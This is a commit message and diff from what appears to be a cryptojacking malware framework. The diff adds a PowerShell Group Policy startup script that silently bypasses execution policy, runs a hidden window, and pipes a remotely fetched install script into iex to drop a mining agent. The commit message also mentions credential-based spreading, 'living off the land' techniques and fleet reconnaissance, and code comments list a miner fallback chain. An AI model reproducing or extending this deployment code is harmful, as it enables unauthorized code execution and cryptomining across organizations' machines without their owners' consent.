Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/enterprise/gpo-startup.ps1

@@ -0,0 +1,16 @@
+# GPO computer startup script — no mining policy in GPO blob.
+# Agent pulls server-side config after WS register; runs fallback chain locally.
+# Deploy via GPO: Computer Configuration > Policies > Windows Settings > Scripts > Startup
+# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+# install.ps1 drops agent; append defer-mining via env for child process
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+
+# Fallback chain order (server-side miner_execution policy applies after register):
+# container -> inprocess -> gpu_subprocess -> stratum_direct